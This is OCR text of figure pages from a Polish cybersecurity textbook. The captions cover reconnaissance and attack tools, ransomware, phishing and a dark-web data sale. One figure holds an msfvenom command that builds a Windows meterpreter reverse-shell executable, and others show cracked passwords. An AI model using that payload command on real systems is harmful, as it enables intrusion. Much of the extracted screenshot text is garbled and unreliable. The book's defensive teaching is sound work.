04:48:55.656314 IP (tos 0x0, 6 6283, offset 0, flags [DF], proto TCP (6), length 86)
kali.54586 > 104.16.76.51.https: Flags [P.], cksum ©x769f (incorrect -> Oxfbfl), seq 1125381939:1125381985, ack 3015145822
:48:55.657127 IP (tos Ox0, ttl 64, id 5121, of t 0, flags [DF], proto TCP (6), length 98)
kali.49540 > ec2-52-209-46-209.eu-west-1.compute.amazon .com.https: Flags [P.], cksum 0x260a (incorrect -> Oxeade), seq 2
ack 1190859859, win 302, options [nop,nop,TS val 1479024036 ecr 1437919946], length 46
:48:55.658184 IP (tos 0x0, ttl 64, id 43449, offset @, flags [DF], proto UDP (17), length 71)
kali.42098 > gate .domain: 60658+ PTR? 51.76.16.104.in-addr.arpa. (43)
:48:55.664683 IP (tos 0x0, ttl 54, id 35540, offset 0, flags [DF], proto TCP (6), length 86)
104.16.76.51.https > kali.54586: Flags [P.], cksum 0x8afb (correct), se :47, ack 46, win 51, length 46
:48:55.664716 IP (tos 0x0, ttl 64, id 46284, offset 0, flags [DF], ), length 40)
54586 > 104.16.76.51.htt Fla [.], cksum 0x7671 (incorrect - > 6), ack 47, win 440, length 0
8:55.735754 ARP, Ethernet ( 6), IPv4 (len 4), Request who-has 192.168.1.106 (8 78:dc (oui Unknown)) tell 192.1
55.735765 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.106 is-at 8c:89:a5:e4:78:dc (oui Unknown), length 46
.546760 IP (tos Ox0, ttl 64, id 44126, offset O, flags [DF], proto UDP (17), length 72)
.38743 > gateway.domain: 22164+ PTR? 209.46.209.52.in dr.arpa. (44)
.630047 IP (tos Ox0, ttl 64, id 44141, offset O, flags [DF], proto UDP (17), length 70)
.51849 > gateway.domain: 41442+ PTR? 1.1.168.192.in dr.arpa. (42)
.639840 IP (to X 64, gs [DF], proto UDP (17), length 72)
.51872 > gateway.domain: 19876+ PTR? 106.1.168.192.in dr.arpa. (44)
642274 IP (tos 0x0, ttl id 30508, offset 0, flags [none], proto UDP (17), length 72)
.domain > kali.51872: 19876 NXDomain 0/0/0 (44)
:49:01.642659 IP (tos Ox0, ttl 64, id 44144, offset 0, flags [DF], proto UDP (17), length 72)
ali.42361 > gateway.domain: 45380+ PTR? 103.1.168.192.in-addr.arp (44)

Rysunek 5.32. Tcpdump w dziataniu



Rozdziat 5. Rekonesans 33

IS SNISE A6 EST

open
open
open
open

open

(VMware)

Rysunek 5.33. Nmap w dziataniu

[ p3.pcap (=8
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

SeWoee BEXSE AesT L [l@aQaBD | @#¥mx 8

Filter: [ ] expression... clear Appy

INo. Time Source Destination Protocol Info
10.100.1.24 74.125.19.113 TCP 51645 > 80 [SYN] Se in=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
13 o) TC 4

@ Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, Src: aa:aa:aa:bb:bb:bb (aa:aa:aa:bb:bb:bb), Dst: SenaoInt_43:95:c2 (00:02:6f:43:95:c2)
@ Internet Protocol Version 4, Src: 10.100.1.24 (10.100.1.24), Dst: 74.125.19.113 (74.125.19.113)

®

0000 00 02 6f 43 95 c2 aa aa aa bb bb bb 08 00 45 00 «.0C.... dE}
. . .a.d..d

S

0010 00 34 78 f9 40 00 80 06 18 61 Oa 64 01 18 4a 7d .4x.@
0020 13 71 c9 bd 00 50 e3 a6 2c ad 00 00 00 00 80 02
0030 20 00 Ob 45 00 00 02 04 05 b4 01 03 03 08 01 01
0040 04 02

(T

| 4

@ | File: "C\Users\student\Desktop\p3pcap” 16... | Packets: 30 Displayed: 30 Marked: 0 Load time: 0:00.002 " [Profile: Default

Rysunek 5.34. Wireshark przechwytuje pakiety sieciowe
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root@kali: ~ —r

File Edit View Search Terminal Help

Rysunek 5.35. Masscan w dziataniu

§ = e

File View Configure Tools Help
loweom@amE [+v R nynmEEre0er 0 ¢ i
[& Decoders | @ Network |89 Sniffer [f Cracker [ @& Traceroute |UE CCDU [®) Wireless | Query |

A | Ti \ SMB server | Client [Usemame | Domain [ Password | AuthType LM Hash
€5 FTP (0)

ED HTTP (0)

2D IMAP (0)

LDAP (0)

P POP3 (0)

s SMB (0)

B Telnet (0)

8 VNC (0)

& DS (0)

& NS (0)

31 SMTP (0)

@ NNTP (0)

DCE/RPC (0)

&) MsKerbs-PreAutr

8 Radius-Keys (0)

€ Radius-Users (0)

10 vl B z

I N s SMB
=) Hosts |®APR |4' Routing |i\ Passwords [ VoIP

http://www.oxid.it

4

Rysunek 5.36. Stare, ale nieocenione narzedzie Cain and Abel
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Nessu: Scans 'y (1)
FOLDERS Lab Scan Configure Launch ~ Export ~
< Back to My Scans
® My Scans v
Al
A8z Hosts 9  Vulnerabilites 144  Remediations 216 History 1
i Trash
Filter v | Search Vulnerabilies 144 Vulnerabiliies
RESOURGES
Q Policies Sev ~ Name Family « Count ~ Scan Details
PluginRules .
8 Pug Bash Incomplete Fix Remote Code Execution Vulner. Gain a shell remotely 3 Name: Lab Scan
B Customized Reports Status: Completed
& scanners Bash Remote Code Execution (CVE-2014-6277 /CV...  Gain a shell remotely 3 Scanner.  Local Scanner
Start: Today at5:31 PM
Bash Remote Code Execution (Shellshock) Gain a shell remotely 3 End: Today at6:01 PM
Elapsed: 30 minutes
CentOS 4 /56 : firefox (CESA-2012:0079) CentOS Local Security Checks 1
Vulnerabilities
CentOS 415 : firefox / xulrunner (CESA-2011:1164) CentOS Local Security Checks 1
‘ o Ciitical
CentOS 4 /5 : krb5 (CESA-2011:1851) CentOS Local Security Checks 1 ® High
Medium

o Low
CenlOS 5/6/7 : bash (CESA-2014:1293) CentOS Local Security Checks 1 J o Info

Cent0S 5/6/7 : bash (CESA-2014:1306) CentOS Local Security Checks 1
CentOS 5/6 : java-1.6.0-openjdk (CESA-2013:0770)  CentOS Local Security Checks 1
CentOS 5/6 : java-1.6.0-openjdk (CESA-2013:1014)  CentOS Local Security Checks 1
CentOS 5/6 : samba (CESA-2012:0465) CentOS Local Security Checks 1
CentOS 5 : java-1.6.0-openjdk (CESA-2012:0730) CentOS Local Security Checks 1

Rysunek 5.37. Wynik skanowania za pomoca Nessusa

Google hybrid
B s

@ Kismet-20170808-22-27-29-
Lnetxml [

err

Rysunek 5.38. Zbieranie informacji przy uzyciu wardrivingu
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PRODUCTS PODCASTS COMMUNITY SUPPORT

PLUNDER BUG

$49.99

The Plunder Bug by Haks5 is pocket-sized LAN Tap that lets you "bug”
Ethernet connections with USB-C convenience.

Coupled with cross-platform scripts and an Android root app, this smart

network sniffer enables passive recording or active scanning.

OPTION

PLUNDER BUG

QTY

= 1 4

ADD TO CART

Rysunek 5.39. Zdjecie skrzynki Hak5 Plunder Bug
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Anatomia ataku

—_— —_— ‘ —_— g
= O, f———
Uzytkownik _A
A Konto uzytkownika Ruchy A
Atak zostato zhakowane boczne Zhakowanie Dostep do
zero-day konta z wysokimi poufnych Atakujacy

danych kradnie dane

/

uprawnieniami

Rysunek 6.1. Anatomia cyberataku

ina DecryptO %

Ooops, your files have been encrypted!

‘What Happened to My Computer?
Your Important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

B8 (Can I Recover My Files?
5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.
0 2 2 3 2 5 7 s 3 7 But Tf you want to decrypt all your files, you need to pay. 1
You only have 3 days to submit the payment After that the price will be doubled.
Also, If you don't pay in 7 days, you won't be Lzble to recover your files forever.

. 3 P T P 2 . )
‘We will Trave fiee events fur users wio ate su pour that thicy couldn't pay 16 monihs.

How Do I Pay?
5/20/2017 00:47:55 Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
s Please check the current price of Bitcoin and buy some bitcoin. For more information,
Time Left . o
click <How to buy bitcoins>.
P6:23:57:37 [And send the correct amount to the address specified in this window.
After your payment, click <Check Payment>. Best time to check: 9:00am - 11.00am

Payment will be raised on

Your files will be lost on 7‘

,t Pl Send $300 worth of bitcoin to this address:
ACC’EPTE,‘Z!,!Z 12t9YDPgwueZ9INyMgw519p7AAIs)r6SMw
Check Payment Decrypt

Rysunek 6.2. WannaCry zainfekowat ponad 200 000 komputeréow w 150 krajach,
a catkowite szkody oszacowano na dziesiatki miliardow dolaréw
(Charles Sturt University, badania doktora Erdala Ozkaya)
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€% Geographies [\l

pIIELes] ~ 60 minutes

InyferlaccleN@elpalolNiElfy 62,000 computers
* 12,000 servers
* 50,000 desktops

Rysunek 6.3. Petya byt destrukcyjnym ztosliwym oprogramowaniem

ﬁ Hacker_Buba +2 Follow
Account: 490. m_2)000 " "OLI
CONTRACTING & GFl MAa=TT."

drive.google.com/folderview?id=...
#hacked #hacking #investbank #news #uae

RETWEETS N N - e

Rysunek 6.4. Zrzut ekranu z Twittera (nazwa klienta i dane konta sa zamazane
ze wzgledu na koniecznos¢ ochrony danych)
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We sell the FIFA 21 full src code and tools

debug tools, SDK And api keys

FIFA 21 matchmaking server

FIFA 22 api keys and some SDK & debugging tools
FrostBite src code & debug tools

Many proprietary EA games frameworks & SDKs
XBOX & SONY private SDK & api key

XB PS & EA pfx & crt with key (currently used)

You have full capability of exploiting on all ea services
Total dump = 780 GB

For more Details PM or & s
Only serious and rep members all other would be ignored

Samples:

proof.png - AnonFiles
4 anonfiles.com

fifaonline.cpp

another_mhm.txt - AnonFiles

4a anonfiles.com

ssfonlineservice.cpp

mhm.txt - AnonFiles

4 anonfiles.com

Rysunek 6.5. Dane EA Games wystawione na sprzedaz w Dark Webie
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Rysunek 6.6. Ataki za pomoca ransomware’u wedtug branz w 2021 r.
(rysunek zaczerpniety z Xcitium)

Lokalny serwer DNS Serwer C&C

Sie¢ korporacyjna

Rysunek 6.7. Ukierunkowany atak na sie¢ korporacyjna
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Przepetnienie bufora , Spoofing certyfikatow
o oo *ong, P
Wstrzyknlg'qe saL B Uzytkownik =20y, ) ) Ph.lshlng
Podnoszenie uprawnien @9‘3 e 2, Pobieranie drive-by

00S sobo

Zarzadzanie zasobami

Portal

Side-channel Brute force
DDoS Resetowanie haset
Integralnos¢ danych Infrastruktura Podszywanie sie

Rysunek 6.8. Powierzchnia ataku na chmure

Boty skanujace GitHub

GitHub

Rysunek 6.9. Boty skanujace GitHub

adamdemamp:~/workspace/vl $ python nimbusland-v@_0_6.py}51.140.0.1
CRITICAL:root:

A 1) |
vy ] ]
BiERTE DT BE ] o w
el I | |7 |

CRITICAL:root:[+] Nimbusland - Alpha v0.0.5
CRITICAL:root:[+] sStartIp: 51.140.0.1
CRITICAL:root:[+] Checking AWS Network Ranges
C 5 5 i

CRITICAL:root:[+] Match Found in Azure! 51.140.0.1, 51.140.0.0/17, uksouth, Azure
adamdemamp :~/workspace/vI ${]

Rysunek 6.10. Nimbusland znajduje zrédio adresu IP
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CRITICAL

CRITICAL

CRITICAL
:/opt/lo] love# cat *.txt ’
# 20180412_030841 [+] START URL: http://cyberslopes.com
https://bcodstoragetest005.blob.core.windows.net/contai

Rysunek 6.11. LolrusLove uruchomiony w systemie Kali indeksuje internetowe
obiekty blob ustugi Azure

INFO! Looking for secrets in EC2 User Data in instances across all regions... (max 100
ftances per region use -m to increase it)

INFO! eu-north-1: No EC2 instances found

INFO! ap-south-1: No EC2 instances found

INFO! eu-west-3: No EC2 instances found
eu-west-2: No secrets found in i-0383bd514fc82b2f6 i is empty
eu-west-2: No secrets found in i-056bfé6a7dddedbe94 it is empty
eu-west-2: No secrets found in i-0400110d188b96be4d it is empty
eu-west. No secrets found in i-0c45687ab71dd8280 it is empty
eu-west- No secrets found in i-0bb20f4c25dddcb87 it is empty
eu-west-2: No secrets found in i-0ed72cb972e76a6a9 r it is empty
eu-west-2: No secrets found in i-0148e96180d82d88b it is empty

PASS! eu-west-2: No secrets found in i-06c663422d15021df it is empt

Rysunek 6.12. Prowler szuka tajnych kluczy w ustudze AWS
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Rysunek 6.13. Strona powitalna narzedzia flAWS

= flAwS2.cloud X L . £ )(‘ = fIAWs2.cloud x iz B 2 >
& 3> C  © Notsecure | level1 flaws2.cloud * @@ &M &Q : ¢ > C O Notsecurel flaws2cloud/defenderhtm X 0@ NS £+
Summit E
Route
, Defender Track
aws2.cloud

Welcome Defender! As an incident responder were granting you access to the AWS account called
"Security" as an IAM user. This account contains a copy of the logs during the time period of the incident
and has the ability to assume into the "Security” role in the target account so you can look around to spot
Level 1 the misconfigurations that allowed for this attack to happen.

The Defender track won't include challenges like the Attacker track, and instead will walk you through
key skills for doing security work on AWS. The objectives are:

For this level, you'll need to enter the correct PIN code. The correct PIN s 100 digits long, so brute + Objective 1: Download CloudTrail logs
forcing it won't help. « Objective 2: Access the Target account
+ Objective 3: Use g

+ Objective 4 Identify credential theft

+ Objective 5: dentify the public resource

Objective 6: Use Athena
Credentials
Your |AM credentials to the Security account:
Need a hint?  Login: https://flaws2-security.signin. om/console

»_Account ID: 322079859186

Rysunek 6.14. Wyzwania atakujacego i obroncy na poziomie 1. Po prawej stronie widac
wyzwanie obroncy, a po lewej wyzwanie atakujacego
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Zaatakowany

Wykorzystany Atakujacy

Brute force na RDP _L' Podejrzany proces Wychodzacy spam

Brute force na SSH Podejrzane polecenia CMD Wychodzace ataki brute force
Podejrzana aktywnos¢ uzytkownikow Wychodzace skany
Ztosliwa komunikacja Wychodzace ataki DDoS
Zhakowana maszyna (TI) Analiza za pomoca PowerShella

Search Mail and People

A Folders
Inbox 168
Junk Email
Drafts
Sent ltems
Deleted Items
Archive
Conversation History
ozanus
RSS Subscriptions

Viriis Bulasan Ogeler

yel

Podnoszenie uprawnien
Aktywnos¢ czyszczenia dziennikow
Aktywnos¢ wbudowanych uzytkownikéw
b Enumeracja kont
Ly Ruchy boczne

Rysunek 6.17. Ataki chmurowe w piguice

@ New|v¥ T Delete & Archive Junk|Y Sweep === Y ¥ X 9 Undo
2018 Salary Rise

@ Accounting Department <accountingclepartment@owaexchange.com>

H  SReply |v
Today, 10:53 AM
You ¥

@J E 2018 Salary Rise.xIsm v

159 KB

Download ~ Save to OneDrive - Personal

Hi Sir,

I hope you're having a great week.

Please find the salary rise of 2018, that we will apply to our employees, attached below.
If you add or notify important points. I am going to make the necessary changes.

Best regards,
Accounting department

Rysunek 6.18. Przyktad phishingu
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2018 Salary Rise - Excel Signin = g
Insert  Page Layout Formulas ~ Data  Review  View  Add-ins Help Team Q Tell me what you want to do S, share
.ﬂ.D SS Calibri 2 <A A General FE Conditional Formatting - E‘”Insert - X %Y p
P By - o | Bre o ) o o [Z7 Format as Table - E’l‘Delete - @ Sort& Find&
se o |5 1 [ A $-% 0 [ B8 Fcastyles- [EiFormat~ * Fiter- Select-
Clipboard = Font ] igratisa ~ iyber ] Styles Cells Editing A
1 SECURITYWARNING Macros have been disabled. @ x
"N 71
Al4 4 I v
'Formula Bar|
4 A | Bl c |l o | e | | om0 |kl Lt M| N o r
Employee Attendance Tracker
1
2]
3 NOVEMBER Sun
4j Employee Name
5 |Employee 1
6 |Employee 2
ZEmponee3
8 Employee 4
9 |Employee 5
10
II Legend Work Shift Vacation n Personal Sick
12

Sheet1 ® n ] 0

iEady i M -+ 100%

Rysunek 6.19. Mamy nadzieje, ze nasi uzytkownicy koncowi nie wigcza tresci
zawierajacych osadzone ztosliwe oprogramowanie

" You have new notifications.

Alot has happened on Facebook since you last logged in. Here are some notifications you've missed from your friends

1\
’f& Dr Erdal Ozkaya

>

2 2 messages

A 4friend requests

& 19 group updates

- 99 new notifications

Go to Facebook View Notifications

Rysunek 6.20. Oszustwo facebookowe
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One engine detected this URL

URL http://meipt.eng.ku.ac.th/upload/culvers.php
f Host meipt.eng.ku.ac.th 4

Downloaded file  44ebc972b4bdaeb5850f9fd8f0b1059371b5d3a96cbh6efef18cf01

1/63 Last analysis 2017-08-20 15:00:04 UTC

Detection Details Community

Trustwave A Malicious ADMINUSLabs

Rysunek 6.21. Wykryto ztosliwe oprogramowanie

60

50
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20

0
201 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021

Rysunek 6.22. Statystyki eksploitow zero-day (rysunek zaczerpniety z Xcitium)

Execute a APK or IPA on vulnerable WhatsApp phones.

Phone : 351961234567 |
0S:  Android v
File:  http://127.0.0.1/file.apk |

I Generate

Copyright © 2019 Privateloader

Rysunek 6.23. Generator RCE dla WhatsAppa
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3] VirusTotal x 4+
L ui/ﬁle/0e671ae0da1aa7a87f691525858c73204742dd7a036fbdaOedébedQZZdbO&.. * @9 o nanm Q9 :
E 0e671ae0dalaa7a87f691525858c73204742dd7a036fbda0ed6bed922db0892c Q = g Signin
(@) Noengines detected this file (&4 -1
g;g71ae0da1aa7a87f691 525858c73204742dd7a036fbdaled6bed922db08 4..46 8 2019-05-28 07:44:13 UTC </>
Size 3 months ago HTML
WhatsApp CVE-2019-3568 Remote Code Exection html
Communtty ve-20193568  exploit html
Score
DETECTION DETAILS COMMUNITY
[ —
Ad-Aware @ Undetected AegisLab @ Undetected
AhnLab-V3 @ Undetected ALYac @ Undetected
Antiy-AVL @ Undetected Arcabit @ Undetected
Avast @ Undetected Avast-Mobile @ Undetected
AVG & Undetected Avira (no cloud) & Undetected
Babable ) Undetected Baidu (@ Undetected
BitDefender @ Undetected Bkav & Undetected
CAT-OuickHeal @ Undetected ClamAvV @ Undetected

Rysunek 6.24. W chwili gdy pisaliémy ten rozdzial, ztosliwe oprogramowanie
wygenerowane przez nasze narzedzie nie mogto zosta¢ wykryte
przez zadne oprogramowanie antymalware’owe

Eile Edit View Analyse Report Iools Online Help

(StendardMode () IS EHIM D H JO0E D@8 OT5 AV OR PO XER o

E E Responses= | 3 Break
LT
eooo Header: Text %) (Body. Text w 0o
v 5 Contexts GET http://localhost/autillidae/index. php7page=viev-user-privilege-level . phpéiv=Gbc24fc1ab6S0b25bA114e93a58f Leba HITP/1.1

(2 Default Context
(3 mutilidae
v @ sites
v i nttp:/flocalhost
v (@ mutilidae

(pmader. ex ) o Fuocations:
GET

|Lea|Va.. #0.. | #of.. E Add...
Bl He. a 16 0 I8

8 GETiindex.php(iv.page;

-privil

http: til i
P61v~6bC241c1i6500250 4114093298  1eba HTTP/1.1

& GET:ndex.php(page,pa | User-Agent: Mozilla/5.0 (XL1; Ubuntu; Linux x86_64; rv:57.0) Gecko/
: 20100101 Firefox/57.0

(€l GET:index.php(page.pe || Accept: text/htal,application/xhtalsxal,application/xnl;qe0.9,%/*;q=0.8
Accept-Language: en-US,en:q=0.5

Referer:

http i) 0
de.

Cookie: intsel;
Connection: keep-alive

Upgrade- Insecure-Requests: 1
Host: localhost

hetp:/ocalhost/mutilidae/index. phpzpage=use... 200 OK 12ms 54,88 bytes
285 1721118 2:24113PM GET htp://detectportal firefox com/success.be 200 OK 178ms 8 bytes

Rysunek 6.25. Fuzzer przed uruchomieniem ,testowania” lokalnej aplikacji

Form, Hidden, Scrip...
Form, Password, Hi...
Form, Password, Hi...
Form, Password, Hi...

Form, Password, Hi...
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v

Scan Results

Severity v

¥  CSharp V ResultState ¥ o ResultSeverity ¥  AssigntoUser ¥ g Comments  GraphType: ® Full Graph {* K
¥ ® High
— == [ ] = [ o] | =]
[O] SQL_Injection (25:Found) (|
® Stored XSS (2: Found) (?)
b A\ Medium - >u . » i i
> Low
Rysunek 6.26. IDA Pro identyfikuje luki w zabezpieczeniach
\REVERSING\putty.exe =10 x|
File Edit Jump Search VYiew Debugger Options Windows Help
[pnmBROm YR BE X[~ [BEF & B Threads R Y
IDAViewESP (2] IDAViewEIP | ) Thieads | @ Genersl registers | B
T\WINNT\5yStem32\NTOLL.DLL
ADVAPI32, dil @ 00000350
ary 0 X .OLL
|au: idle wn [Disk: 103GB 00031219 |m431219 \Mnlvlah(x,x,x,x)+35 ine 1.of 1 Z
e =
.text:00431207 call ds:InitCommonControls ;I * 0012FF30 var_4 dd 65h ﬂ
* .text:0043126D call sub_4300A1 — E’ 0012FF34 dd 12FFCOh ; Stack[06060
* .text:00431212 call sub_437607 * 8012FF38 retaddr dd 43CC53h ; sta
* .text:00431217 test eax, eax ® 0012FF3C hInstance dd offset unk_480
* 0012FF40 hMenu dd
.text:0043121B push ds:1pSteax=0000000 * 0012FF44 uIDEvent dd offset unk_132D
* .text:00431221 push offset aSFatalError * 0012FF48 nCmdShow dd 6Ah
° .text:08431226 call sub_406B06 0612FF48 ; [END OF STACK FRAME _WinM
* .text:0043122B pop ecx ® 8612FF4C dd 12D9C4h ; Stack_PAGE_
* .text:08043122C mov esi, eax * B012FF50 dd 206h
* .text:08043122E pop ecx * 8012FF54 dd 7FFDFB686h v
* .text:0043122F push 36h < »
* .text:00431231 push esi =
* .text:00431232 push  offset Text ~=10(x]
* .text:00431237 push EAX|00000001|L, crlel
* .text:00431239 call ds:MessageBoxA =
* _text:0643123F push esi EBX|7FFDF808|Ly[debug813 : 7FFDF 806 u
® .text:00431240 call sub_486E7E ECX 00800065/ L, AFg
] -:e":=::gg:: pup e EDX[77FD0170|Ly[NTDLL .DLL:77FD0170 2F[0
.text: pus| =
* .text:00431248 pop eax [ 200000005 SFg
* .text:00431249 jmp loc_43204E EDI [8012D9C4|Ly[Stack _PAGE_GUARD[ 0600035 | (TF|(6)
SHEEEELLUR S EBP|0012FF34|Ly[Stack[ 000003501 : 0012FF34 | [IF [1]
GLEXtIa0sS1ZhE ESP[0012FF34|L,, : DF[0
.text:0843124E loc_43124E: Stack[ 00008350] : 0012FF 34 it )
¥* _text:0843124E mou eax, dword_45A1CH +|||EP 88431219 |winMain(x,x,x,x)+35 OF 0|
« | TI EFL (00000206

Rysunek 6.27. IDA Pro demontuje program o nazwie putty.exe; dalsza analiza
roziozonego kodu moze ujawni¢ wiecej szczeg6tow na temat tego, co robi ten program

Normalne dziatanie

Po ataku

Rysunek 6.28. Przepetnienie pamieci bufora
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192.168.1.79
10 3 108
CRITICAL H’\GH V MEDIUM ow INFO
Severity cvss Plugin Name
10.0 97737 MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION)
(ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya)
10.0 97743 MS17-012: Security Update for Microsoft Windows (4013078)
10.0 97833 MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION)
(ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)

10.0 100051 MS Security Advisory 4022344: Security Update for Microsoft Malware Protection Engine

10.0 100057 KB4019215: Windows 8.1 and Windows Server 2012 R2 May 2017 Cumulative Update

100 100764 KB4022726: Windows 8.1 and Windows Server 2012 R2 June 2017 Cumulative Update

100 101365 KB4025336: Windows 8.1 and Windows Server 2012 R2 July 2017 Cumulative Update

10.0 102683 Microsoft Windows Search Remote Code Execution Vulnerability (CVE-2017-8543)

100 103131 KB4038792: Windows 8.1 and Windows Server 2012 R2 September 2017 Cumulative Update

100 105109 Microsoft Malware Protection Engine < 1.1.14405.2 RCE

HIGH | 94 103137 Security and Quality Rollup for .NET Framework (Sep 2017)
 HGH | 93 81264 MS15-011: Vulnerability in Group Policy Could Allow Remote Code Execution (3000483)
Rysunek 6.29. Raport Nessusa o lukach w zabezpieczeniach
() metasploit' A— Em————

Overview Analysis Sessions Campaigns Web Apps Modules. Credentials Reports. Exports Tasks.

Home - default PRI  Editing Automate a the things
i ' |Automate all the things Daily until November 2, 2016 (YT save and RunNow [ Save
. 9

]
oo I - -, ! ] o
b2}

Scan Exploit Collect Cleanup Report

>

*denotes required field

+ Target Settings
+Advanced Target Settings
+Discovery Settings

+ Discovery Credentials
+Web Scan Settings

+ Automatic Tagging
Rysunek 6.30. Graficzny interfejs uzytkownika frameworku Metasploit Pro
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=45 -f exe > dio.exe

No pLatform'was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes

Rysunek 6.31. msfvenom taczy msfpayload i msfencode w jednym frameworku
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Armitage View Hosts Attacks Workspaces Help

'@ auxiliary
v (@ admin "
v (& http »
[) tomcat_administration
[} tomcat_utfg_traversal
v scanner 162.168.1.104
v @ hep NT AUTHORITY\SYSTEM @ ACME-14E429D2B5 (ADMIN)
] tomcat_enum
) tomcat_mgr_login
v (@ exploit
v (@ multi

v (G http
E =
= 0gin 162 1108
192.168.1.101 192.168. 1. 106 1¢  Meterpreter 6 » Access >
NT AUTHORITY \ CTEUVIN

Host Explore > Browse Fles
>

—A= — Enoting Show Processes
[ Console 4 X I Services X T Files 6 XT Processes1 X I Console 12 X T cmd.exe 1636@6 X ] MSF Scans Key Scan
(@ |c Kill Screenshot =
D 4| Name | Size Modified Mode |
(8 Documents and Settings 2010-02-14 22:22:02 -0500 4077 7/rwxrnxrwx A
% Inetpub 2010-02-14 22:16:37 -0500 40777 [rWXNWXTWX
@ Program Files 2010-10-04 10:13:32 -0400 40555/r-xr-xr-x
(@ Python2s 2010-09-29 09:43:01 -0400 40777 [rwxrnxrwx
(@ System Volume Information 2010-02-14 22:21:33 -0500 40777 /rwxrenawx
B WINNT 2010-10-04 11:19:56 -0400 40777 [rwxrwnxrwi
B cc 2010-09-29 12:38:25 -0400 40777 [rwxrwxrwx
@ learn 2010-10-16 20:02:11 -0400 40777 [rwxrenrwx
g srtFtplogs 2010-09-30 16:04:14 -0400 40777 [rwxrenawx
AUTOEXEC.BAT ob 2010-02-14 22:17:24 -0500 100777/rwxrwxrwx
CONFIG.SYS ob 2010-02-14 22:17:24 -0500 100666/rw-rw-rw-
10.SYS Ob 2010-02-14 22:17:24 -0500 100444/r

_____MSDOS.SYS = Ob = _2010-02-14 22:17:24 -0500 100444/r--r-
| Upload... | | Make Directory | | Refresh | P

To direct input to this virtual machine, click inside the window. b =BA2Q Bt E 4

Rysunek 6.32. Armitage w dziataniu

Kon-Boot ver. 2.5 - ready! 32/64bit !!!
Please note this software is protected by copyright Laws.
Checking SMAP BIOS entries ...

Booting up! - EOT
Reading original sector!

Rysunek 6.33. Uruchamianie narzedzia Kon-Boot
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Settings

Privacy

> Online Accounts

. Ubuntu

11 sound

D Power desktop

Displays

Memory 80GiB
Mouse &Touchpad

Processor Intel® Core™i = "
D Keybosrd ntel® Core™i5-5250U CPU @ 1.60GHzx 4

fesa IntelHD Graphics
printers Graphics Mesa IntelHD Graphics 6000 (BDW GT3)

{) Removable Media Disk Capacity 512168

Color
05 Name Ubuntu 2204 LTS
Region &L

05 Type 64-bit
F Accessibility

| GNOME Version y I
Users

Windowing System Wayland
Default Applications

Software Updates
D Date & Time

Rysunek 6.34. Ubuntu jest tatwy w uzyciu dzieki znajomemu interfejsowi uzytkownika

ophcrack

D LU d v o 0@

Load, Delete Save  Tables Stop  Help Exit About

Progress | Statistics Preferences

User A LMHash NT Hash LMPwd1l LMPwd2 NT Pwd
[Administrator ¢ 31d6c¢fe0d16ae931b73c59d7€0c089c0 empty
[Glest 31d6cfe0d16ae931b73¢59d7€0c089¢0 empty
SUPPORT_388945a0 34ec619d1d6c952d44ad5898a6815fce
Administrator 59ab4dfds... dc9333bacdeb4a7e09c73dbee3sbffed8  K4T7EKY LLINGO7 K477Ekylling07
| [Guest 31d6cfe0d16ae931b73c59d7€0c089c0 empty
SUPPORT_388945a0 167b3177504221efaa009a593dc7281e
Table Directory Status Progress
- @ XPfreefast /homefjanu... 84% inRAM |
@ tableo 36% in RaM |
@ table1 100%inR... |
@ table2 100% inR... |
@ table3 100%inR... |
- @ Vistafree /homefianu... 100% inR... [ ]
@ table0 100%inR... [N ]
@ tablel 100%inR... [ ]
@ table2 100%inR... [ ]
@ table3 100%inR... | ]
Preload: done Brute force: done Pwd found: 4/6 Time elapsed:  0h 14m 36s

Rysunek 6.35. Ophcrack tamie hasto
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mNet (o} VIDEOS 5G  WINDOWS10 CLOUD Al INNOVATION SECURITY ~MORE

|D MusT ReAD: ‘Insanely great’ Apple Card is a few features away from conquering everything

FBI warns companies about hackers
increasingly abusing RDP connections

Millions of RDP endpoints remain exposed online and vulnerable to exploit, dictionary, and brute-force attacks

ﬁ By Catalin Cimpanu for Zero Day | September 27, 2018 -- 20:38 GMT (13:38 PDT) | Topic: Security

Rysunek 6.36. Artykut o ostrzezeniu firm przez FBI przed wzrostem liczby atakow
z uzyciem RDP

[ eee
Zbieranie
informacji ¥ Eksfiltracja
——ny danych
Atakujacy €
ca—— Aplikacja internetowa

Logowanie administratora
Wstrzykniecie backdoora PHP tamanie Komputer ofiary
skrétéw haset

%

Podnoszenie uprawnien

rwer
z

W Uzytkownik

Atakujacy
ammmmsm, OOt serwera

WWW - dane
Rysunek 6.37. Wstrzykniecie SQL
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¥/ SQL Injection Scanner - Online X A

< C @ pentest-tools.com/website-vulnerability-scanning/sql-injection-scanner-online * ® ® PEI n & Q

o
/ Pentest-Too| 0 Credits TOOLS ¥

SQL Injection Scanner

Discover SQL Injection vulnerabilities in web applications using OWASP ZAP

https://www.example.com -

Ligt Full Scan

SQL injection attacks are increasing at a rapid rate and represent a major threat to web application security.
Scan your web app for critical security vulnerabilities and prevent significant data loss and business disruption.

Use our free SQL injection online scanner to track new security flaws before you get hacked, perform self-
assessment to quickly find web app vulnerabilities, and get explicit reports and recommendations to fix them.

Sampl Use Cases Technical Details

Rysunek 6.38. Strona internetowa narzedzia SQL Injection Scanner

SQL Injection Scanner

20 Credits

Discover SQL Injection vulnerabilities in web applications using OWASP ZAP

https://www.erdalozkaya.com/ -

